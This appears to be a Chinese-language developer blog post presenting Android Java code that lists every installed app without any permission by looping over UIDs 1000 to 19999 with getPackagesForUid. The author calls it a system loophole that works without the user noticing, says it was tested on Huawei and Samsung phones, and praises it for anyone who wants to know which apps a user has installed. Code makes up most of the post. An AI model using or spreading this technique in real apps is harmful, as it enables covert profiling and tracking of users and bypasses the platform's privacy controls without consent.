无需权限获取应用程序列表
最近在研究反编译的时候发现了系统的一种漏洞方式获取应用程序信息,这个可以无需任何权限,用户无任何感知的获取全部应用程序列表,这对于一些特别需要知道用户手机内是否安装了某些特定应用的的人来说真的是太好了.
经过我自己的实验,华为三星等手机没有任何问题.简单的跟大家分享一下我的研究成果.
java
private void getPackageList(Context ctx) {
Log.d("TAG", "无需权限获取应用列表");
PackageManager v9 = ctx.getPackageManager();
String[] v2 = null;
int uid = 1000;
while (uid <= 19999) {
v2 = v9.getPackagesForUid(uid);
if (v2 != null && v2.length > 0) {
for (String item : v2) {
try {
final PackageInfo v6 = v9.getPackageInfo(item, 0);
if (v6 == null) {
break;
}
CharSequence v7 = v9.getApplicationLabel(v9.getApplicationInfo(v6.packageName, PackageManager.GET_META_DATA));
Log.d("TAG", "应用名称 = " + v7.toString() + " (" + v6.packageName + ")");
} catch (PackageManager.NameNotFoundException e) {
e.printStackTrace();
}
}
}
uid++;
}
}